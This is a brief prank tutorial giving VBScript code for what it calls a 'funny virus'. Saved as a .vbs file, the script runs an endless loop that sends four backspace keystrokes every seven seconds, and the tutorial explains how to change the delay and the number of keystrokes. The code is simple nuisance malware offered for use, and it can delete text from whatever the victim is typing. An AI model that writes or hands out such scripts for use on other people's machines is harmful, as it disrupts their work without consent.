This is a funny virus that loops a command to hit the backspace key 4 times every 7 seconds.
do
set wshshell = wscript.createobject("Wscript.shell")
wscript.sleep 7000
wshshell.sendkeys "{BS}"
wshshell.sendkeys "{BS}"
wshshell.sendkeys "{BS}"
wshshell.sendkeys "{BS}"
loop
save as whatyouwant.vbs
To change the delay between backspaces,change the wscript.sleep 7000. 7000 is 7 seconds, 10000 is 10 seconds. To change the number of times backspace is hit, copy and paste wshshell.sendkeys "{BS}"
